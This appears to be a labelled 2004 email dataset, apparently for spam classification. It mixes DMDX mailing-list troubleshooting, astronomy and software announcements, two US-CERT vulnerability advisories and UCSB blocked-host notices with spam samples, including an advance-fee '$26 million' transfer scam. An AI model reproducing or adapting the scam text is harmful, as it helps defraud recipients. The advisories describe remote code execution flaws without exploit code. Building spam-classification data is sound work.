-----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu]On Behalf Of Michelle Givertz Sent: Thursday, February 05, 2004 11:47 AM To: dmdx listserve Subject: [DMDX] PCI I/O card Hello. I am wondering if anyone can help me with the following problem. I am in the process of upgrading the computer I will be presenting my stimulus on, and I've run into a problem. I currently have an ISA I/O card for dmdx and I need a PCI I/O card for dmdx. Does anyone know where I can make such an acquisition? Thanks, Michelle Michelle Givertz, Ph.D. Research Specialist Department of Psychiatry University of Arizona (520)626-8568 ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== ",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 05 Feb 2004 13:44:45 -0700",[DMDX] Re: Problem with word naming script,"At 03:02 PM 2/5/2004 -0500, you wrote: >Hi all, > >We are having some problems with a word naming script (I will paste an >excerpt >below). It currently works fine on our Dell Inspiron 5100 running Windows XP. >However, when we try to run it on a different computer, a Sony PC6-9401 >laptop >running Windows ME, we get this message: > >unknown switch character 's' (ssspacebar) > >We have tried everything we can think of, but don't really know what the >error >message means. We have checked the box in DMDX that says ""Ignore unknown RTF >character"". > >One potential reason for the problem may be that the RA who installed DMDX on >the computer had a problem while installing instmsiw. > >Any help anyone can give us would be greatly appreciated! Look at the item in the diagnostic window before the syntax error was hit, it'll be the one with the mistake. Knowing which item produces the error is essential if it's really an error in the item file. I guess it's possible things are screwed up because you installed instmsiW instead of instmsiA, the W is the unicode Wide version of the installer (for XP and 2000) whereas the A version is for non-unicode machines (95, 98, ME). If you can remove it do so and use the DMDX setup.exe to determine what needs to be done. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ He who laughs last didn't get the joke. ",0,0 Patrick Brown ,DMDX@psy1.psych.arizona.edu,"Thu, 05 Feb 2004 17:37:37 -0500",[DMDX] Re: Problem with word naming script,"Corinne, I got a DMDX error message like that - in my case, it was ""unknown switch character 'I'"" - and it turned out that I had used quotation marks in the code containing instructions to subjects. That is, I had instructions written inside quotation marks, and there were nested quotation marks, like this: ""If the word contains the letter 'I' press the RIGHT button"" As soon as I got rid of the nested quotation marks, the problem disappeared. Don't know if that will help you, but thought I would mention it. Patrikc Corinne Haigh wrote: > Hi all, > > We are having some problems with a word naming script (I will paste an excerpt > below). It currently works fine on our Dell Inspiron 5100 running Windows XP. > However, when we try to run it on a different computer, a Sony PC6-9401 laptop > running Windows ME, we get this message: > > unknown switch character 's' (ssspacebar) > > We have tried everything we can think of, but don't really know what the error > message means. We have checked the box in DMDX that says ""Ignore unknown RTF > character"". > > One potential reason for the problem may be that the RA who installed DMDX on > the computer had a problem while installing instmsiw. > > Any help anyone can give us would be greatly appreciated! > > Thanks in advance, > Corinne Haigh > > Excerpt of script: > > N66 DigitalVOX> > > $ > 0 “Press SPACEBAR to start the Beat the Clock game” ; > +100 “+”//*”dog”/ ; > +101 “+”//*”bat”/ ; > +102 “+”//*”game”/ ; > +103 “+”//*”cat”/ ; > +104 “+”//*”ran”/ ; > +105 “+”//*”the”/ ; > $ > > +1 “+”//*”letter”/ ; > +2 “+”//*”train”/ ; > +3 “+”//*”orange”/ ; > etc... > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ====================================================================",0,1 CERT Advisory ,cert-advisory@cert.org,"Thu, 05 Feb 2004 18:09:27 -0500",US-CERT Technical Cyber Security Alert TA04-036A -- HTTP Parsing Vulnerabilities in Check Point Firewall-1 ," -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 HTTP Parsing Vulnerabilities in Check Point Firewall-1 Original release date: February 05, 2004 Last revised: -- Source: US-CERT A complete revision history can be found at the end of this file. Systems Affected * Check Point Firewall-1 NG FCS * Check Point Firewall-1 NG FP1 * Check Point Firewall-1 NG FP2 * Check Point Firewall-1 NG FP3, HF2 * Check Point Firewall-1 NG with Application Intelligence R54 * Check Point Firewall-1 NG with Application Intelligence R55 Overview Several versions of Check Point Firewall-1 contain a vulnerability that allows remote attackers to execute arbitrary code with administrative privileges. This allows the attacker to take control of the firewall, and in some cases, to also control the server it runs on. I. Description The Application Intelligence (AI) component of Check Point Firewall-1 is an application proxy that scans traffic for application layer attacks once it has passed through the firewall at the network level. Earlier versions of Firewall-1 include the HTTP Security Server, which provides similar functionality. Both the AI and HTTP Security Server features contain an HTTP parsing vulnerability that is triggered by sending an invalid HTTP request through the firewall. When Firewall-1 generates an error message in response to the invalid request, a portion of the input supplied by the attacker is included in the format string for a call to sprintf(). Researchers at Internet Security Systems have determined that it is possible to exploit this format string vulnerability to execute commands on the firewall. The researchers have also determined that this vulnerability can be exploited as a heap overflow, which would allow an attacker to execute arbitrary code. In either case, the commands or code executed by the attacker would run with administrative privileges, typically ""SYSTEM"" or ""root"". For more information, please see the ISS advisory at: http://xforce.iss.net/xforce/alerts/id/162 The CERT/CC is tracking this issue as VU#790771. This reference number corresponds to CVE candidate CAN-2004-0039. II. Impact This vulnerability allows remote attackers to execute arbitrary code on affected firewalls with administrative privileges, typically ""SYSTEM"" or ""root"". Failed attempts to exploit this vulnerability may cause the firewall to crash. III. Solution Apply the patch from Check Point Check Point has published a ""Firewall-1 HTTP Security Server Update"" that modifies the error return strings used when an invalid HTTP request is detected. For more information, please see the Check Point bulletin at: http://www.checkpoint.com/techsupport/alerts/security_server.html This update prevents attackers from using several known error strings to exploit this vulnerability. It is unclear at this time whether there are other attack vectors that may still allow exploitation of the underlying software defect. Disable the affected components Check Point has reported that their products are only affected by this vulnerability if the HTTP Security Servers feature is enabled. Therefore, affected sites may be able to limit their exposure to this vulnerability by disabling HTTP Security Servers or the Application Intelligence component, as appropriate. _________________________________________________________________ This vulnerability was discovered and researched by Mark Dowd of ISS X-Force. _________________________________________________________________ This document was written by Jeffrey P. Lanza. _________________________________________________________________ This document is available from: http://www.us-cert.gov/cas/techalerts/TA04-036A.html _________________________________________________________________ Copyright 2004 Carnegie Mellon University. Revision History Feb 05, 2004: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQFAIsBMXlvNRxAkFWARApI0AKD4vWl9qb4hYtEr+zlkUScaY3PFcwCfRXcG pglRULK2zVbnACsvG9+BEog= =6SAE -----END PGP SIGNATURE----- ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 05 Feb 2004 17:49:15 -0700",[DMDX] re: problem with naming script,"At 05:34 PM 2/5/2004 -0500, you wrote: >Hello Jonathan, > Thanks for your response. It cleared up one thing for us. Our RA did > install instmsiA but not instmsiW. She thought it might be a problem that > the second wouldn't install, but clearly from your response that isn't > the problem. The line in the file that appears to be the problem is one > at the beginning that prints a message to the screen asking subjects to > press the spacebar when ready. It works fine on my Dell, so they syntax > is probably ok for DMDX. The Sony seems to be finding a ""switch > character"" that it doesn't like. What exactly is a switch character? Prior to DMaster for DirectX (DMDX) Dmastr had no keywords, every thing was single character switches, for instance %60 instead of . So when there's a case of miss-matching quotes DMDX starts parsing all the characters inside the quotes as if they were legacy switches. My guess is that you are using some sort of font in your RTF item file that is parsable under XP (because it can handle things like Unicode) but not under ME. (How interesting, parsable isn't a word). Not terribly surprising but the first recorded instance of it I recall. I'd try and edit the file on the ME box, loading and saving it might be enough otherwise changing the font of the ""Press SPACEBAR to start the Beat the Clock game"" might do it. Then there are the standard standbys of saving as text and loading it again after exiting Word to remove weirdness like this. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Fellow with closed mind often has open mouth.",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 06 Feb 2004 11:53:59 -0700",[DMDX] re: problem with naming script,"At 12:45 PM 2/6/2004 -0500, you wrote: >Hello Jonathan, >Thanks to your help were were able to clear up the ""switch character"" >problem. We did however encounter another problem when trying to get the >file to run on the Sony with ME that we don't get with the Dell with >XP. I've tried to solve it but I'm stumped. The stimulus file will run, >then after some random number of trials (ie sometimes after a few trials, >sometimes after 50 or so) it displays the feedback time for a trial and >then won't continue. The error message is ""misplaced keyword duration> at beginning of item"". This is odd because the feedback duration >command is at the top of the file, not with each stimulus. Nonetheless the last item displayed in DMDX's window or the last line in diagnostics.txt will be the one that caused the error. > It isn't any particular just-displayed stimulus that causes this > problem. We considered that the error might occur when reading the next > stimulus item (which we couldn't see) and that this might be the same > item each time because trials are scrambled. We deleted the scramble > command at the top of the file, and the result was that it wouldn't start > presenting any items. You usually have to delete any $ symbols too when you remove scrambling. >I'd appreciate any suggestions you might have. Read the scrambling documentation, there are a number of files left behind that are the intermediate files as DMDX processes them and the clue to your problems will be found in one of them. It's possible what you see on the screen is not what DMDX sees as it parses a file due to RTF codes and so forth. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ When the plane you're on is late, the plane you need to transfer to is on time.",0,0 ,,,,"(8.9.1/8.9.1) with ESMTP id PAA05339 for ; Fri, 6 Feb 2004 15:08:35 -0800 (PST) Received: from ucsb.edu (hub.ucsb.edu [128.111.24.40]) by charm.physics.ucsb.edu (8.9.3/8.9.3) with ESMTP id PAA19414 for ; Fri, 6 Feb 2004 15:08:35 -0800 Received: from localhost ([127.0.0.1] helo=hub.ucsb.edu) by ucsb.edu with esmtp id 1ApF5M-000P2Q-SZ; Fri, 06 Feb 2004 15:08:32 -0800 Received: from hub.ucsb.edu ([128.111.24.40] helo=smtp.ucsb.edu) by ucsb.edu with esmtp TLSv1:AES256-SHA:256 id 1ApF5H-000P26-P6; Fri, 06 Feb 2004 15:08:27 -0800 Received: from security3.oit.ucsb.edu ([128.111.12.28] helo=UCSB.edu) by smtp.ucsb.edu with asmtp TLSv1:AES256-SHA:256 id 1ApF5G-000P1z-O0; Fri, 06 Feb 2004 15:08:26 -0800 Message-ID: <40241E64.7040102@UCSB.edu> Date: Fri, 06 Feb 2004 15:08:20 -0800 From: E. Todd Atkins User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.6b) Gecko/20040105 Thunderbird/0.4 X-Accept-Language: en-us, en MIME-Version: 1.0 To: security-microsoft@ucsb.edu, csf@ucsb.edu X-Enigmail-Version: 0.82.6.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score-ucsb.edu: 0.0 (/) X-Spam-Score-ucsb.edu: 0.0 (/) Subject: [CSF] Blocked Hosts X-BeenThere: csf@ucsb.edu X-Mailman-Version: 2.1.2 Precedence: list Reply-To: UCSB Network Security Coordinator List-Id: Computer Support Forum List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: csf-bounces@ucsb.edu Errors-To: csf-bounces@ucsb.edu X-Spam-Score-ucsb.edu: 0.0 (/) Hello, You can find a ""Filtered Hosts"" list further down in this message. If your host is in this list, then .. 1. Make sure that the host has been completely cleaned up. Unless the host is completely rebuilt, please make sure that the host is not running any rogue IRC bots, FTP servers, VNC, etc. Tools like ""tcpview"" and ""procexp"" from www.sysinternals.com or Vision from www.foundstone.com (under the Resources section) should help to locate any such services. 2. Send an email message to security@ucsb.edu to inform us that the host is now safe to be connected with the internet. When referring to multiple IP addresses, please list the IP addresses on separate lines. If you are not the NOC's official network contact for the address(es), then be sure to CC that person. If you decide to simply reply to this message, please do *not* include the complete lists of IPs. Please just include the IP(s) that you are writing to us about. 3. If you find any rogue services running, please include the type of service and the port that it was using. Filtered Hosts (from http://noc.ucsb.edu/~shaber/net/ngb/filtered.html): 128.111.20.39 agate.wirelesstest.ucsb.edu 128.111.29.26 -- 128.111.29.39 -- 128.111.29.43 -- 128.111.29.55 camp.engr.ucsb.edu 128.111.34.65 pfrws-1.engr.ucsb.edu 128.111.76.144 FT76144.resnet.ucsb.edu 128.111.77.107 das.crss.ucsb.edu 128.111.82.132 seppia.chemengr.ucsb.edu 128.111.82.140 peleg.chemengr.ucsb.edu 128.111.92.216 -- 128.111.96.3 edr-fiery.sdc.ucsb.edu 128.111.101.90 modis.icess.ucsb.edu 128.111.103.21 otter.opl.ucsb.edu 128.111.103.24 penguin.opl.ucsb.edu 128.111.103.29 trout.opl.ucsb.edu 128.111.103.49 -- 128.111.104.131 gdhcp131.geog.ucsb.edu 128.111.104.155 euphrates.geog.ucsb.edu 128.111.106.15 zulu2.geog.ucsb.edu 128.111.106.77 leiting.geog.ucsb.edu 128.111.108.49 slicks.geol.ucsb.edu 128.111.108.219 host108-219.lsdepts.ucsb.edu 128.111.126.131 -- 128.111.142.221 -- 128.111.142.241 -- 128.111.159.71 -- 128.111.159.74 -- 128.111.159.81 -- 128.111.185.230 ra.ece.ucsb.edu 128.111.200.165 FSH200165.resnet.ucsb.edu 128.111.219.158 host219-158.lsdepts.ucsb.edu 128.111.221.6 waltz.mat.ucsb.edu 128.111.225.113 -- 128.111.229.19 -- 128.111.229.201 cutlass.ccs.ucsb.edu 128.111.229.210 -- 128.111.234.239 sylvey.geog.ucsb.edu 128.111.247.7 -- 128.111.247.62 -- 128.111.247.63 -- 128.111.247.250 -- -- Todd Atkins Network Security Coordinator UCSB/Office of Information Technology Voice: (805) 893-5077 Fax: (805) 893-5051 http://www.oit.ucsb.edu/security _______________________________________________ CSF mailing list - CSF@ucsb.edu http://ucsb.edu/mailman/listinfo/csf",0,1 mr ebere ,XXX@XXXXXXXX.XXXXXXX.XXX,"Sat, 07 Feb 2004 01:09:40 +0000",ASSISTE ME//////,"FROM:MR.EBERE MANBOO, PHONE:(870}-763-648313 PHONE:{870}-763-648314 FAX :(870}-763-648315 PRIVET E MAIL;vitaliswaco@hotmail.com RE: TRANSFER OF ($26,000.000.00 USD} TWENTY SIX MILLION DOLLARS Dear Sir, We want to transfer ($26,000.000.00 USD) Twenty six million United States Dollars from a Prime Bank here in South Africa to oversea account. First,I must solicit your strictest confidence in this transaction.This is by virtue of it's nature as being utterly confidential. I am sure and have confidence of your ability and reliability to prosecute a transaction of this great magnitude. I solicit your assistance to enable us transfer the said amount into your safe account for unward investment.You can either provide us with an existing account or to set up a new Bank account immediately to receive this money, even an empty a/c can serve to receive this money, as long as you will remain honest to me till the end for this important business trusting in you and believing that you will never let me down either now or in future. I am the Auditor general and the personal account officer to a great late INDUSTRIALIST who has an account in one of the prime banks here in South Africa. The account was opened in 1996 and he died in 1998 without a written or oral WILL and since 1998 nobody has operated on this account again hence the money is floating and if I do not remit this money out urgently it will be forfeited for nothing since the bank has been sold on Wed,19th March,2003 to another bank and the management of the bank is now ready to release the fund to any foreigner who has the correct information of the account before fully handing over the management to the new bank. The owner of this account is a foreigner and no other person knows about this account or anything concerning it,the account has no other beneficiary and until his death he was the manager of the company.My investigation through the National immigration department proved to me as well that he was single as at the point of his entry into the Republic of South Africa. We will start the first transfer with Six million [$6,000.000].Upon successful transfer without any disappointment from your side,we shall re-apply for the payment of the remaining balance of 20 million to your account. The total amount involved is Twenty six million United States Dollars only [$26,000.000.00].I want to first transfer $6,000.000.00 [Six million United States Dollar] from this money into a safe foreigners account abroad before the rest.But I don't know any foreigner, I am only contacting you as a foreigner because this money can not be approved to a local person here,but can only be approved to any foreigner who has the correct information of the account which I will provide to you. On confirmation of your willingness to receive this fund in your account,I will involve my confidant lawyer who is a government accredited attorney to the bank to represent you in various offices here to secure all the relevant documents in your name required to make the transfer a success. I therefore assure you that this transaction is 100% risk and trouble free to both parties. However, we will sign a binding agreement,to bind us together when we meet face to face after the first transfer of $6 Million before transferring the second part of $20 Million.I am revealing this to you with believe that you will never let me down in this business. You are the first and the only person that I am contacting for this business,so please reply urgently so that I will inform you the next step to take urgently. Send me full details of the account to be used for this transfer,including your direct telephone and fax numbers so that we can have a heart to heart discussion.I want us to meet face to face to build confidence and to sign a binding agreement that will bind us together immediately after the first transfer before we fly to your country for withdrawal, sharing and investments. I need your full co-operation to make this work fine because the management is ready to approve this payment to any foreigner who has correct information of this account, which I will give to you upon your positive response and once I am convinced that you are capable and will meet up with instruction of a key bank official who is deeply involved with me in this business. I need your strong assurance that you will never,never let me down. With my position and influence in the bank, the money can be transferred to any foreigner's reliable account that you can provide with assurance that this money will be intact pending our physical arrival in your country for sharing.The bank official Will destroy all documents of transaction immediately we receive this money leaving no trace to any place and to build confidence. You can call me for heart to heart discussion through my private satellite phone which I secured for the security and safety of this business as you know that this business is confidential At the conclusion of this business, you will be given 35% of the total amount, 60% will be for me, while 5% will be for expenses both parties might have incurred during the process of transferring. I look forward to your earliest reply through my private email address at:vitsliswaco@hotmail.com or fax. Regards, mr ebere manboo ___________________________________________________________ BT Yahoo! Broadband - Free modem offer, sign up online today and save £80 XXXX://btyahoo.yahoo.co.uk ",1,0 Ladonna Woodall ,DMDX@psy1.psych.arizona.edu,,"Notice of loan pre-approval Sat, 7 Feb 2004 11:13:28 -0500","Hello, We tried contacting you awhile ago about your low interest morta(ge rate. You have qualified for the lowest rate in years... You could get over $380,000 for as little as $500 a month! Ba(d credit? Doesn't matter, low rates are fixed no matter what! To get a free, no obl,igation consultation click below: http://www.cshoutrefie.com/index.php?refid=7 Best Regards, Earlene Wilkerson",1,1 Lawrence Garrett ,Rik Hill ,"Sun, 08 Feb 2004 11:36:30 -0500",Current MAP Alert,"Greetings Rik: The latest MAP alert for posting, Thanks Lawrence Garrett MAP Alert #314, February 2, 2004 Greetings MAP Observers! A report from Bill Yeung, via Brian Warner and Gerard Faure, highlight this brief MAP Alert posting. Mr. Yeung reports: Hi Brian, (Warner) > > Thanks for your help. Tonight I observed with a 8"" Meade from Hong Kong on a mag. 16.6 asteroid 1996 Adams, but the observed mag. was clearly much better than that: > > X007A3 C2004 01 24.75858 11 05 11.14 +18 47 20.6 15.3 R D17 > X007A3 C2004 01 24.76023 11 05 11.02 +18 47 20.5 15.4 R D17 > X007A3 C2004 01 24.76792 11 05 10.79 +18 47 22.1 15.4 R D17 So a call for observations for 1996 Adams is posted. Observed about 0.8 magnitude V brighter then predicted, a good CCD target, even in the current bright moonlight. My thanks go out to Mr.Yeung, Brian, and Gerard for this information. How about 1089 Tama observations? A call for observation of its eclipse/occultation has so far resulted in no positive reports. I have seen this series twice, at -21F and -22F, in the very cold January just passed. My attempts to bring this to the Sky and Telescope minor planet alerts did not result in a posting. Its quite a shame more observers did not get the chance to try this first time ever visual event with these alerts. I say first time ever event, but have the members of MAP seen this unknowingly? Have we seen these eclipse/occultation's without knowing it, returning another night to find our object as predicted? Perhaps we have. How many more ""Tama's"" are waiting for discovery? If these events are very rare, all the more reason to get the word out, and people to the telescope. Clear Skies! Lawrence Garrett ALPO Minor Planet Section Assistant Coordinator lgasteroid@earthlink.net or atticaowl@yahoo.com _To be used only if mail is returned from the above address_. AUDE WebPages Gerard Faure (8297 gerardfaure) http://www.ccdaude.com ",0,1 �S�Ѯv ,DMDX@psy1.psych.arizona.edu,"Mon, 09 Feb 2004 06:05:05 +0800","�����O�{�b��,���O���Ӧ�",網路是現在式，不是未來式 網路是現在式，不是未來式，再不趕快從事就來不及了！現在大家都在透過網路賺錢，當然我也不例外，但一般我們都是沒有貨源，及要架設一有金流及物流功能的網站又要花不少錢，但今天我發現一網站可解決此問題，我們只要負責行銷，金流及物流由系統處理，加入此系統，你可選擇免費或付費，免費的獎金為25%~70%(看你的業績而定)，付費的獎金為80%，剛開始我也是選擇免費的，在網路上拍賣，及告訴朋友我的購物網站，我現在已改為付費的了，以賺取更多的利潤，其實像我們一般人下班回家後都是在看電視、發呆、上網、找朋友聊天...，為何不將此時間拿來兼差，一個不用花錢的事業(只需花時間)，邀請你一同來研究從事。 http://98.to/gomyestore168/ 如你沒興趣從事，有空也請常至我的購物網站逛逛。 龍哥的購物網站—錢龍電子商務館 http://98.to/gomyestore/ ps.我們不是傳直銷。,1,1 James Colby Kraybill ,macusers@celestial.Berkeley.EDU,"Mon, 09 Feb 2004 11:38:11 -0800",Firefox," Phoenix 0.6, firebird 0.7, firefox 0.8 Firefox is now available: http://www.mozilla.org/products/firefox/ - Colby --------------------------------------------------------------------- James Colby Kraybill Radio Astronomy Laboratory colby@astro.berkeley.edu University of California, Berkeley ",0,1 CERT Advisory ,cert-advisory@cert.org,"Tue, 10 Feb 2004 17:32:39 -0500",US-CERT Technical Cyber Security Alert TA04-041A -- Multiple Vulnerabilities in Microsoft ASN.1 Library ,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Multiple Vulnerabilities in Microsoft ASN.1 Library Original issue date: February 10, 2004 Last revised: -- Source: US-CERT A complete revision history is at the end of this document. Systems Affected * Microsoft Windows NT 4.0 * Microsoft Windows NT 4.0 TSE * Microsoft Windows 2000 * Microsoft Windows XP * Microsoft Windows Server 2003 Overview Multiple integer overflow vulnerabilities in the Microsoft Windows ASN.1 parser library could allow an unauthenticated, remote attacker to execute arbitrary code with SYSTEM privileges. Description Microsoft Security Bulletin MS04-007 announces a patch for multiple vulnerabilities in the Microsoft Windows ASN.1 library (msasn1.dll). According to information from eEye Digital Security, the vulnerabilities involve integer overflows and other flaws in integer arithmetic. The latest version of this document can be found at Additional information is available in two vulnerability notes: VU#216324 - Microsoft ASN.1 Library improperly decodes malformed ASN.1 length values (Other resources: AD20040210, MS04-007, CAN-2003-0818) VU#583108 - Microsoft ASN.1 Library improperly decodes constructed bit strings (Other resources: AD20040210-2, MS04-007, CAN-2003-0818) eEye has published two detailed advisories on these issues: AD20040210 and AD20040210-2. Any application that loads the ASN.1 library could serve as an attack vector. In particular, ASN.1 is used by a number of cryptographic and authentication services such as digital certificates (x.509), Kerberos, NTLMv2, SSL,and TLS. Both client and server systems are affected. The Local Security Authority Subsystem (lsass.exe) and a component of the CryptoAPI (crypt32.dll) use the vulnerable ASN.1 library. Impact An unauthenticated, remote attacker could execute arbitrary code with the privileges of the process using the ASN.1 library. In the case of most server and authentication applications, an attacker could gain SYSTEM privileges. Solution Apply a patch Apply the appropriate patch as specified by Microsoft Security Bulletin MS04-007. Vendor Information This appendix contains information provided by vendors. When vendors report new information, this section is updated and the changes are noted in the revision history. If a vendor is not listed below, we have not received their comments. Microsoft Please see Microsoft Security Bulletin MS04-007. References * Vulnerability Note VU#216324 - * Vulnerability Note VU#583108 - * eEye Digital Security Advisory AD20040210 - * eEye Digital Security Advisory AD20040210-2 - * Microsoft Security Bulletin MS04-007 - * Microsoft Knowledge Base Article 252648 - _________________________________________________________________ These vulnerabilities were researched and reported by eEye Digital Security. Information from eEye and Microsoft was used in this document. _________________________________________________________________ Feedback can be directed to the author, Art Manion. Copyright 2004 Carnegie Mellon University. Revision History February 10, 2004: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQFAKVrdXlvNRxAkFWARAuOvAJwL2gJJPBRdrtZ0Le4yyLQLu7CHewCgvaCW 5hU8LQ/oOC4sI8PpnkppCyg= =Oe/N -----END PGP SIGNATURE-----",0,1 ,,,,"(8.9.1/8.9.1) with ESMTP id NAA05166 for ; Wed, 11 Feb 2004 13:44:39 -0800 (PST) Received: from ucsb.edu (hub.ucsb.edu [128.111.24.40]) by charm.physics.ucsb.edu (8.9.3/8.9.3) with ESMTP id NAA21211 for ; Wed, 11 Feb 2004 13:44:39 -0800 Received: from localhost ([127.0.0.1] helo=hub.ucsb.edu) by ucsb.edu with esmtp id 1Ar29o-00015k-A5; Wed, 11 Feb 2004 13:44:32 -0800 Received: from hub.ucsb.edu ([128.111.24.40] helo=smtp.ucsb.edu) by ucsb.edu with esmtp TLSv1:AES256-SHA:256 id 1Ar29d-00015W-TS for csf@ucsb.edu; Wed, 11 Feb 2004 13:44:21 -0800 Received: from security3.oit.ucsb.edu ([128.111.12.28] helo=UCSB.edu) by smtp.ucsb.edu with asmtp TLSv1:AES256-SHA:256 id 1Ar29V-00015K-Do for csf@ucsb.edu; Wed, 11 Feb 2004 13:44:13 -0800 Message-ID: <402AA22C.9080700@UCSB.edu> Date: Wed, 11 Feb 2004 13:44:12 -0800 From: E. Todd Atkins User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.6b) Gecko/20040105 Thunderbird/0.4 X-Accept-Language: en-us, en MIME-Version: 1.0 To: csf@ucsb.edu X-Enigmail-Version: 0.82.6.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score-ucsb.edu: 0.0 (/) X-Spam-Score-ucsb.edu: 0.0 (/) Subject: [CSF] Blocked Hosts X-BeenThere: csf@ucsb.edu X-Mailman-Version: 2.1.2 Precedence: list Reply-To: UCSB Network Security Coordinator List-Id: Computer Support Forum List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: csf-bounces@ucsb.edu Errors-To: csf-bounces@ucsb.edu X-Spam-Score-ucsb.edu: 0.0 (/) Blocked Hosts (from http://noc.ucsb.edu/~shaber/net/ngb/filtered.html): 128.111.20.39 agate.wirelesstest.ucsb.edu 128.111.29.26 -- 128.111.29.39 -- 128.111.29.55 camp.engr.ucsb.edu 128.111.34.65 pfrws-1.engr.ucsb.edu 128.111.76.144 FT76144.resnet.ucsb.edu 128.111.77.107 das.crss.ucsb.edu 128.111.82.132 seppia.chemengr.ucsb.edu 128.111.82.140 peleg.chemengr.ucsb.edu 128.111.96.3 edr-fiery.sdc.ucsb.edu 128.111.103.21 otter.opl.ucsb.edu 128.111.103.24 penguin.opl.ucsb.edu 128.111.103.29 trout.opl.ucsb.edu 128.111.103.49 -- 128.111.104.131 gdhcp131.geog.ucsb.edu 128.111.104.155 euphrates.geog.ucsb.edu 128.111.106.15 zulu2.geog.ucsb.edu 128.111.106.77 leiting.geog.ucsb.edu 128.111.108.49 slicks.geol.ucsb.edu 128.111.108.219 host108-219.lsdepts.ucsb.edu 128.111.126.131 -- 128.111.142.221 -- 128.111.142.241 -- 128.111.159.71 -- 128.111.159.74 -- 128.111.159.81 -- 128.111.200.165 FSH200165.resnet.ucsb.edu 128.111.219.158 host219-158.lsdepts.ucsb.edu 128.111.221.6 waltz.mat.ucsb.edu 128.111.225.113 -- 128.111.234.239 sylvey.geog.ucsb.edu 128.111.247.7 -- 128.111.247.62 -- 128.111.247.63 -- 128.111.247.250 -- If your host is in this list, then .. 1. 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To make your resource known to the academic community, go to: http://academickeys.com/all/course.php Sincerely Andrea McCarthy Director of Institutional Relations AcademicKeys ",0,1 Simon De Deyne ,DMDX@psy1.psych.arizona.edu,"Thu, 12 Feb 2004 18:43:16 +0100",[DMDX] word character spacing,"Hi listmembers, Day 1 of using DMDX here (hopefully many to come). I was wondering if its possible to manipulate word character spacing. It seems this isn't a font property that goes into rtf files. A possible workaround is probably to edit my fonts and manipulate my characterspacing there, but I'm hoping for something more elegant for the time being. cheers, Simon De Deyne ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 12 Feb 2004 12:02:25 -0700",[DMDX] Re: word character spacing,"At 06:43 PM 2/12/2004 +0100, you wrote: >Hi listmembers, > >Day 1 of using DMDX here (hopefully many to come). > >I was wondering if its possible to manipulate word character spacing. >It seems this isn't a font property that goes into rtf files. > >A possible workaround is probably to edit my fonts and manipulate my >characterspacing there, but I'm hoping for something more elegant for >the time being. No, there's nothing to manipulate spacing of characters that I recall. There is a GDI function that would conceivably allow it but that would be a modification to DMDX for it to be used and you would have to sponsor that modification. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ When the plane you're on is late, the plane you need to transfer to is on time. ",0,0 mgivertz@email.arizona.edu,dmdx listserve ,"Thu, 12 Feb 2004 13:14:01 -0700",[DMDX] PCI-DIO24 card error,"I'm wondering if anyone can help me with the following problem. I've just had a PCI-DIO24 card installed on a computer running dmdx. When I try and run dmdx (or do a syntax check), I get the following error message: ""Error 1 Setting up InstaCal Board 1|Invalid board number."" Then I run the PIO test in Time DX, it gives a dialogue box in which to define the PIO address. We have InstaCal Boards in both port 1 and 3 (don't ask why), and when we enter either ""InstaCal Board 1 PCI-DIO24"" or ""InstaCal Board 3 PCI-DIO24"" as instructed in the Time DX help file, we get the identical error message as above. Yes, we checked that this is in fact the board we are using. Any help would be much appreciated. Michelle ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 12 Feb 2004 16:37:50 -0700",[DMDX] Re: PCI-DIO24 card error," There's a slight oversight in the Instacal code that I've yet to fix and it requires that there be devices starting from board number 0 with no gaps in order for TimeDX or DMDX to see them. So run the Instacal stuff and renumber the first card to be board 0 and the second one to be board 1. If the demo board is still there as board 0 that's fine, make your boards 1 and 2. At 01:14 PM 2/12/2004 -0700, you wrote: >I'm wondering if anyone can help me with the following problem. I've >just had a PCI-DIO24 card installed on a computer running dmdx. > >When I try and run dmdx (or do a syntax check), I get the following >error message: ""Error 1 Setting up InstaCal Board 1|Invalid board >number."" > >Then I run the PIO test in Time DX, it gives a dialogue box in which to >define the PIO address. We have InstaCal Boards in both port 1 and 3 >(don't ask why), and when we enter either ""InstaCal Board 1 PCI-DIO24"" >or ""InstaCal Board 3 PCI-DIO24"" as instructed in the Time DX help file, >we get the identical error message as above. Yes, we checked that this >is in fact the board we are using. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ When the plane you're on is late, the plane you need to transfer to is on time. ",0,0 Michelle 